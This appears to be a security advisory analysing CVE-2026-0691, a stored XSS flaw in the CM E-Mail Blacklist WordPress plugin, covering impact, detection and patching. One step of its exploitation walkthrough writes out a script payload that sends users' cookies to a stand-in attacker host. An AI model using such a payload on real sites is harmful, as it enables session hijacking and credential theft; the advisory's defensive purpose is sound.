CVE-2026-0691: 
WordPress vulnerability analysis and mitigation

CVE-2026-0691 is a Stored Cross-Site Scripting (XSS) vulnerability in the CM E-Mail Blacklist – Simple email filtering for safer registration plugin for WordPress. It affects all versions up to and including 1.6.2, and was disclosed on January 17, 2026, with Wordfence as the assigning CNA. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium), assigned by Wordfence (Wordfence). Exploitation is limited to multi-site WordPress installations or those where unfiltered_html has been disabled (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting) and stems from insufficient input sanitization and output escaping of the black_email parameter in the plugin's email blacklist settings view (backend/views/settings/email_blacklist.phtml, line 67) (Wordfence, WordPress Trac). An authenticated attacker with administrator-level privileges can inject arbitrary JavaScript into the blacklist field, which is then stored and rendered to any user who accesses the affected admin page. The attack vector is network-based, requires high privileges, high attack complexity, and no user interaction, but the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself.

Successful exploitation allows an authenticated administrator to persistently inject malicious JavaScript that executes in the browsers of other users who visit the affected page, potentially enabling session hijacking, credential theft, or unauthorized actions performed on behalf of victims. The confidentiality and integrity impacts are rated low, and there is no direct availability impact. The vulnerability's scope is limited to multi-site WordPress installations or those with unfiltered_html disabled, reducing the overall attack surface (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2026-0691. The EPSS score is approximately 0.028%, indicating a very low probability of exploitation in the near term. The vulnerability requires administrator-level authentication and specific site configurations (multi-site or unfiltered_html disabled), significantly limiting the exploitable population. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Identify target: Locate a WordPress multi-site installation or a site with unfiltered_html disabled that has the CM E-Mail Blacklist plugin (version ≤ 1.6.2) installed and active.
2. Authenticate: Log in to the WordPress admin panel with administrator-level credentials.
3. Navigate to plugin settings: Access the CM E-Mail Blacklist plugin settings page within the WordPress admin dashboard.
4. Inject malicious payload: In the black_email input field, enter a crafted value containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) instead of or alongside a legitimate email address.
5. Save the settings: Submit the form to store the malicious payload in the database.
6. Trigger execution: When any user (including other admins or privileged users) navigates to the affected settings page, the stored script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress admin audit logs or server access logs showing POST requests to the CM E-Mail Blacklist settings page containing script tags or encoded JavaScript in the black_email parameter.
• Database: Unexpected JavaScript or HTML script tags stored in the plugin's email blacklist database entries (typically in the wp_options table under the plugin's option key).
• Network: Outbound requests from victim browsers to unknown external domains shortly after accessing the plugin's admin settings page, potentially carrying cookie or session data.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than written to disk.

Users should update the CM E-Mail Blacklist plugin to a version above 1.6.2 that includes the fix applied in changeset 3440158 (WordPress Trac Changeset). As a temporary workaround, administrators can disable the plugin until a patched version is applied, or restrict administrator access to trusted users only. Ensuring unfiltered_html remains enabled (the default for single-site installations) also mitigates this specific vulnerability, as it is only exploitable when that capability is disabled.

The vulnerability received routine coverage from automated vulnerability tracking platforms such as VulnDB, Vulners, and CIRCL, with no notable researcher commentary or significant community discussion identified. A brief post was observed on Bluesky via the CVE feed, and a short write-up was published by Infinit Security (Infinit Security). Overall, community reaction has been minimal, consistent with the vulnerability's low severity and limited exploitability.